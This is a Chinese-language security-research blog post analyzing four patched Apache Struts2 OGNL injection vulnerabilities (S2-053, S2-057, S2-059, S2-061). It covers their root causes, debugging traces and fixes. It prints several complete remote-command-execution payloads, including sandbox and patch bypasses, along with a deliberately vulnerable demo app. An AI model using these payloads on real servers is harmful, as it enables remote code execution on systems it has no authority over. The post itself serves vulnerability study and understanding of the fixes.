Struts2历史高危漏洞分析系列:(三)

尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。

目录

前言

尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。

PS: 本系列分析的漏洞均为已公开的漏洞,Struts2官方都早已发布修复版本。建议直接使用最新版本。

S2-053

官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-053

影响版本:Struts 2.0.0 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10.1

漏洞复现与分析

从漏洞公告可获悉:在FreeMarker模板中使用struts2标签库时,如果使用了表达式${}去引用可控输入时,便会导致RCE攻击。

下面使用docker镜像medicean/vulapps:s_struts2_s2-053进行调试分析。该环境使用的是Struts2 2.5.10.1版本。

在该环境中,Index.action的返回页面使用FreeMarker模板去渲染。在freemarker模板文件index.ftl里使用了struts2标签s:url,即@s.url,且该标签的value属性引用了外界可控输入的name参数的值。代码如下:

简单执行OGNL表达式如下:

由于漏洞触发是在Struts2处理返回页面,即Result对象阶段。因此在DefaultInvocation开始调度Result对象处,以及OgnlValueStack#findValue()方法处下断点,便可知道漏洞触发执行的调用栈。

由于Index.actionresult标签的type属性为freemarker,所以DefaultInvocation调度的Result对象其实是FreemarkerResult,它会根据模板文件创建对应的模板对象Template来进行一系列的解析渲染操作。在这个过程中,它先是解析表达式${name}获取name参数的值,然后对值进行OGNL表达式的计算。关键代码如下:

可回显PoC

拿S2-045的exploit稍微修改一下便可:

%{
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
        (
        (#container=#context['com.opensymphony.xwork2.ActionContext.container']).
        (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
        (#ognlUtil.getExcludedPackageNames().clear()).
        (#ognlUtil.getExcludedClasses().clear()).
        (#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))
}

漏洞修复

通过版本代码比对发现,Struts2 2.5.12版本做了很多改动。但通过调试发现,针对这个漏洞,最关键的修复代码在于将OgnlUtil类里的黑名单集合excludedPackageNamesexcludedClasses都由原来的HashSet改为不可修改的集合类Collections$UnmodifiableSet来替代,从而使得S2-045的exploit失效了。
如下图所示:

但!很遗憾,这个修复可以被轻易绕过,因为修复后的代码中,OgnlUtil类里的excludedPackageNamesexcludedClasses属性,只是它引用的集合对象是一个不可修改的对象,故可通过它们的setter方法,将其引用到一个空集合对象即可。

这里直接放结论:将在上面的可回显PoC稍加修改,然后连续执行两次,便可在修复后的Struts2 2.5.12版本getshell!至于为什么需要执行两次才行,这个留到分析S2-057漏洞时再好好说道。
修改后的PoC如下:

%{
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
        (
        (#container=#context['com.opensymphony.xwork2.ActionContext.container']).
        (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
        (#ognlUtil.setExcludedPackageNames('')).
        (#ognlUtil.setExcludedClasses('')).
        (#context.setMemberAccess(#dm)))).
(#cmd='id').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))
}

S2-057

官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-057

影响版本:Struts 2.0.4 - Struts 2.3.34, Struts 2.5 - Struts 2.5.16

漏洞复现与分析

从漏洞公告可获悉,该漏洞有两个前提条件,如下

  • alwaysSelectFullNamespacetrue;
  • struts.xml文件中,没有对action对象的上层(即package标签)设置namespace属性,或者namespace属性使用了通配符。

满足这两个前提条件的情况下,存在4个攻击向量:

  • ServletActionRedirectResult:对应的result type为:redirectAction
  • ActionChainResult:对应的result type为:ActionChainResult;
  • PostbackResult:对应的result type为:postback;
  • ServletUrlRenderer:对应<s:url>标签的处理。

这里仅以ServletActionRedirectResult为例进行调试分析,其他3个分析起来差不多。

下面使用docker镜像medicean/vulapps:s_struts2_s2-057进行调试分析。该环境使用的是Struts2 2.5.16版本。

如下图,应用开启了alwaysSelectFullNamespace特性,action对象actionChain1result对象的类型设置为redirectAction,且package没有设置namespace属性。

简单表达式执行PoC如下:

hxxp://host:port/S2-057/${123+456}/actionChain1.action

访问后,跳转的Url如下:

hxxp://host:port/S2-057/579/register2.action

alwaysSelectFullNamespace特性开启时,namespace的值会从uri中去获取,如下图:

后面在处理Result对象时,在ServletActionRedirectResult#execute()方法中,获取前面得到的namespace的值,即表达式${123+456},然后与result指定的action名进行字符串拼接,拼接后的字符串赋值给ServletActionRedirectResult#location属性,如下图:

继续跟进代码,在StrutsResultSupport#conditionalParse()方法中看到熟悉的TextParseUtil#translateVariables()方法调用。没错,后面的执行流程就和S2-012是一样的了,这里不再详述。

下面重点说一下命令执行PoC的构造。

可回显PoC

因为在Struts2 2.5.16(依赖的ognl版本为3.1.15)中,OgnlContextget()方法已经不支持传入OgnlContext.CONTEXT_CONTEXT_KEY常量,故无法像以前一样在OGNL表达式中使用#context直接访问上下文对象context

因此,我们需要找另外的方式先去获取context上下文对象,参考文章[3]中提出通过上下文对象内部集合里的attr对象来获取context上下文对象。因为attr是可以使用#attr去访问的,它是一个AttributeMap对象。如下图:

AttributeMap#get()方法可以看到,其实它会去上下文对象context内部存放的requestsessionapplication对象去查值。其中,通过request.get("struts.valueStack")便可获取值栈OgnlValueStack,而OgnlValueStack对象中又存在指向上下文对象的属性。

因此,便可通过#request['struts.valueStack'].contextattr['struts.valueStack'].context来获取上下文对象。

接着,再配合前面S2-053的修复绕过,即利用setter方法将指向黑名单集合的属性值excludedClassexcludedPackageNames指向一个空的集合。

综上可得,命令执行可回显的PoC如下:

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.setExcludedPackageNames('')).(#ou.setExcludedClasses('')).
(#ct.setMemberAccess(#dm)).
(#a=@java.lang.Runtime@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))
}

但为什么执行第一次的时候无效呢?

是因为PoC里改的是OgnlUtil对象里的excludedClassexcludedPackageNames,而实际进行黑名单校验时,是在安全管理器SecurityMemberAccess中进行的,使用的也是SecurityMemberAccess中的excludedClassexcludedPackageNames属性。

为什么执行第二次就可以了呢?

是因为每次请求,在OgnlValueStack#setOgnlUtil()方法中,SecurityMemberAccess都会从OgnlUtil中获取类和包名黑名单,并通过setter方法赋值到自身的属性excludedClassexcludedPackageNames。如下图:

因为第一次请求,我们已经将OgnlUtilexcludedClassexcludedPackageNames给指向了空的集合。所以第二次请求,SecurityMemberAccessOgnlUtil获取到的黑名单也因此变成了空的集合。从而实现了绕过。

漏洞修复

在Struts2 2.5.17版本中,DefaultActionMapping在获取namespace时增加了正则匹配字符白名单的校验。

S2-059

官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-059

影响版本:Struts 2.0.0 - Struts 2.5.20

漏洞复现与分析

从漏洞公告可获悉,该漏洞的场景是:当Struts2的标签属性值引用了action对象的参数值时,便会出现OGNL表达式的二次解析,从而产生RCE风险。

:虽然官方漏洞公告里说该漏洞影响到2.5.20版本,但实际上公开的用于2.5.16版本的命令执行的PoC在2.5.20版本则失效。原因后面会说到。

下面使用Struts2 2.5.16版本进行复现、分析和调试。构造一个符合条件的应用,关键代码如下

index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
    <title>S2-059 demo</title>
</head>
<body>
<s:a id="%{id}">your input id: ${id}
    <br>has ben evaluated again in id attribute
</s:a>
</body>
</html>

struts.xml

<?xml version="1.0" encoding="UTF-8" ?>


<struts>
    <constant name="struts.devMode" value="false"/>

    <package name="default" namespace="/" extends="struts-default">
        <default-action-ref name="index"/>
        <action name="index" class="org.pwntester.action.IndexAction" method="changeId">
            <result>index.jsp</result>
        </action>
    </package>
</struts>

IndexAction.java

public class IndexAction extends ActionSupport {
    private String id;

    public IndexAction() {}
    public String changeId() {
        return "success";
    }
    public String getId() {
        return this.id;
    }
    public void setId(String id) {
        this.id = id;
    }
}

这里我们根据漏洞公告中的示例,使用<s:a>标签,并在标签中使用id属性来引用action中的参数值。

因此我们可以将断点下在<s:a>对应的标签类AnchorTagdoStartTag()方法中(实际调用的是父类方法ComponentTagSupport#doStartTag()),然后进行调试。

跟进AnchorTag#populateParams()方法,在其父类AbstractUITag#populateParams()方法中发现调用Anchor#setId()id属性进行设置。

跟进Anchor#setId()Anchor会调用父类方法Component#findValue(),在该方法中,如果altSyntax特性是开启的(altSyntax默认开启),且id属性的值是一个符合%{}形式的表达式的情况下,会调用我们熟悉的TextParseUtil.translateVariables()进行OGNL表达式求值,求值的过程就是从IndexAction对象中通过getter方法来获取其id属性的值,即我们传入的id参数的值。

到此,<s:a id=%{id}>标签的id属性就被赋值好了,即第一次的OGNL表达式求值就完成了。

再次回到ComponentTagSupport#doStartTag()方法中继续跟进,发现调用Anchor#start()方法,跟进该方法。一直跟进,发现在UIBean#populateComponentHtmlId()方法中,调用Component#findStringIfAltSyntax()Anchor对象的id属性值进行处理,如下图:

跟进去,发现最终在Component#findValue()方法中又看到了熟悉的TextParseUtil.translateVariables()。跟到这里就是第二次OGNL表达式求值,如下图:

到此漏洞原理的部分就结束了。下面说一下命令执行PoC的构造。

可回显PoC

在Struts2 2.5.16版本,直接使用S2-057的PoC便可,但最前面的$符号要改为%。同样是发送两次请求。

%{
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.setExcludedPackageNames('')).(#ou.setExcludedClasses('')).
(#ct.setMemberAccess(#dm)).
(#a=@java.lang.Runtime@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))
}

接着说一下为什么该命令执行PoC在Struts2 2.5.20版本中失效。

1、Struts2 2.5.20的类和包名的黑名单扩充了,如下:

其中增加了包名com.opensymphony.xwork2.ognl,导致无法通过#request['struts.valueStack'].context#attr['struts.valueStack'].context来获取上下文对象。因为OgnlRuntime#getFieldValue()方法中有引入沙盒保护,会禁止黑名单里的类的对象去获取成员属性。

2、OgnlRuntime#getStaticField()方法也引入了Struts2的沙盒保护

Struts2 2.5.16版本所依赖的ognl库的版本为3.1.15,Struts2 2.5.20版本依赖的ognl库的版本为3.1.21。在ognl-3.1.21的类OgnlRuntime#getStaticField()中也引入了Struts2的沙盒进行保护,禁止黑名单类去获取静态属性,关键代码如下:

这将导致无法通过表达式@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS获取OgnlContext类的静态属性DEFAULT_MEMBER_ACCESS

漏洞修复

Struts2 2.5.22版本并没有对漏洞点进行修复,而是在2.5.20版本的基础上再次扩充了类/包名黑名单。另外,还使用了更新版本的依赖库ognl-3.1.26,在该版本中,增加了Strict模式,如果使用该模式,OgnlRuntime#invokeMethod()方法就会校验当前调用的类,禁止常见危险的类调用方法。

S2-061

官方漏洞公告:https://cwiki.apache.org/confluence/display/WW/S2-061

影响版本:Struts 2.0.0 - Struts 2.5.25

漏洞复现与分析

该漏洞是S2-059的绕过。前面分析S2-059时说过,从2.5.20版本开始,随着安全沙盒的增强,使得在2.5.20之后,利用OGNL表达式进行远程代码执行受到了很大的限制,并无公开的沙盒绕过的利用,直到S2-061的出现。

因此漏洞原理和S2-059是一样的。下面来看看已公开的命令执行PoC是如何绕过沙盒的。

可回显PoC

由于沙盒的增强,我们无法像之前一样轻易的获取上下文对象context

  • OgnlContext删除了CONTEXT_CONTEXT_KEY这个key,故无法通过OgnlContext#get()方法,即通过#context获取上下文对象;
  • 包名黑名单中包含com.opensymphony.xwork2.ognl.,故无法通过#request['struts.valueStack'].contextattr['struts.valueStack'].context获取上下文对象。
  • 包名黑名单中包含ognl.,且OgnlRuntime类引入了沙盒保护,因此即使获得上下文对象context,也无法通过OGNL表达式直接操作它的属性和方法,只能通过间接的方式。

因此只能通过调试看看上下文对象OgnlContext中还有什么其他可利用的对象,来间接获取上下文对象。
这里使用#application来获取OgnlContext内部Map集合中的ApplicationMap对象。ApplicationMap内部存放了整个应用实例的一些对象,比如这里通过键org.apache.tomcat.InstanceManager来获取Tomcat中的DefaultInstanceManager对象。

可使用DefaultInstanceManager#newInstance()方法,指定类名,来实例化任意对象,但前提是指定的类需要有无参构造方法。

然后使用该方法来创建类org.apache.commons.collections.BeanMap的实例对象,然后通过BeanMapsetBean/get方法来间接获取上下文对象context

以下是BeanMap#setBean()方法的实现。它会获取指定bean对应的类的所有读写(setter/getter)方法,并保存在内部的HashMap集合中。另外,每次调用setBean()方法,原本存放读写(setter/getter)方法的内部HashMap集合都会被清空。

BeanMap#get()则是获取当前bean的指定的getter方法。

便可使用以下表达式获取上下文对象context

(#instancemanager=#application['org.apache.tomcat.InstanceManager']).
(#stack=#request['struts.valueStack']).
(#bean=#instancemanager.newInstance('org.apache.commons.collections.BeanMap')).
(#bean.setBean(#stack)).
(#context=#bean.get('context'))

然后使用同样的方式来获取上下文context对象中的安全管理器对象SecurityMemberAccess,即安全沙盒的主要实现类。并使用BeanMap#put()方法实现黑名单的置空操作。即:

(#macc=#bean.get('memberAccess')).
(#bean.setBean(#macc)).
(#emptyset=#instancemanager.newInstance('java.util.HashSet')).
(#bean.put('excludedClasses',#emptyset)).
(#bean.put('excludedPackageNames',#emptyset))

到此,便实现了绕过沙盒,获取了上下文对象context,并将沙盒的黑名单指向了一个空的集合。剩下要做的便是执行命令。前面提到过,从ognl3.1.26版本开始,增加了Strict模式,且是默认启用的。在该模式下,OgnlRuntime#invokeMethod()方法还将java.lang.Runtimejava.lang.ProcessBuilder这两类给ban掉了。这就意味着即使前面绕过了沙盒,最终还是无法在表达式中直接调用这两个类的方法去执行命令。只能通过间接的方式,比如其他某个类的某个方法,里面调用了Runtime#exec()ProcessBuilder#start(),且命令参数可控。

S2-061的报告者,知名的安全研究员pwntester给出了一种方法,就是通过调用freemarker中的freemarker.template.utility.Execute#exec()实现命令执行。

估计是他在研究FreeMarker模板注入漏洞及沙盒绕过的时候想到的。详见他的Blackhat议题:<Room for Escape: Scribbling Outside the Lines of Template Security>(参考[6])

最终可得:

%{
(#instancemanager=#application['org.apache.tomcat.InstanceManager']).
(#stack=#request['struts.valueStack']).
(#bean=#instancemanager.newInstance('org.apache.commons.collections.BeanMap')).
(#bean.setBean(#stack)).
(#context=#bean.get('context')).
(#bean.setBean(#context)).
(#macc=#bean.get('memberAccess')).
(#bean.setBean(#macc)).
(#emptyset=#instancemanager.newInstance('java.util.HashSet')).
(#bean.put('excludedClasses',#emptyset)).
(#bean.put('excludedPackageNames',#emptyset)).
(#arglist=#instancemanager.newInstance('java.util.ArrayList')).
(#arglist.add('id')).
(#execute=#instancemanager.newInstance('freemarker.template.utility.Execute')).
(#execute.exec(#arglist))}

漏洞修复

通过版本比对,Struts2在2.5.26版本,不仅修复了漏洞触发点,还扩充了包名黑名单以增强沙盒。

1、修改了UIBean#setId(),从而避免OGNL表达式二次解析。

2、在包名黑名单中添加了属于各种中间件(如:Tomcat、JBoss、Weblogic、Jetty、Websphere)的包名。

小结

以上,Struts2的高危漏洞分析系列就暂告一段落了。

在这个过程中,不仅提升我的Java漏洞调试能力,积累了经验,同时看到了安全研究人员和程序员之间的攻防博弈,还是蛮有意思的。

一开始我提到,尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。

Struts2的绝大部分高危漏洞,都是由于不安全的OGNL表达式执行。

OGNL表达式引擎,是Struts2为了解决在MVC模式中,数据在各层间的表现形式不同而造成数据流转和访问的问题而引入的。它可以构建表达式和Java对象之间的映射关系,且具有丰富多样的表达式语法计算。它非常强大和灵活。但往往功能强大灵活的同时就会带来安全问题,因为OGNL表达式可以操作Java对象和其成员。另外,通过分析这一系列的漏洞,就可以发现,OGNL表达式求值是贯穿在整个Struts2框架中的,非常的多地方有用到,比如拦截器、标签库、返回对象Result、异常信息等。所以漏洞触发点就会有很多。因此,在这些漏洞的修复方案里,不仅有在上层代码进行相关入参的安全过滤(比如正则白名单),还有沙盒的引入以限制命令执行的漏洞利用。但随着一次又一次的被绕过,沙盒也越来越强,即限制越来越多,绕过的难度越来越大。得依靠一些依赖包里的对象去实现,就像S2-061的代码执行,就是通过Tomcat里的DefaultInstanceManage和Freemarker里的freemarker.template.utility.Execute来实现的,也因此新的黑名单里增加了各类Java中间件的常见包名。往后的沙盒绕过就更难了。

另外,对于Struts2漏洞这种sink比较固定的情况下,很适合使用CodeQL来自动化挖掘漏洞触发链。Github安全实验室博客就有好几篇讲到使用CodeQL挖掘Struts2漏洞的文章。后面有时间的话我也会分享CodeQL相关的内容。

Reference

[1] hxxp://vulapps.evalbug.com/tags/#struts2
[2] hxxps://github.com/vulhub/vulhub/tree/master/struts2
[3] hxxps://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
[4] hxxps://securitylab.github.com/research/apache-struts-CVE-2018-11776/
[5] 《Struts2技术内幕:深入解析Struts2架构设计与实现原理》- 作者:陆舟
[6] hxxps://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf

  • 发表于 2021-08-31 17:19:07
  • 阅读 ( 6626 )
  • 分类:漏洞分析

0 条评论

请先 登录 后评论
m01e
m01e

4 篇文章

站长统计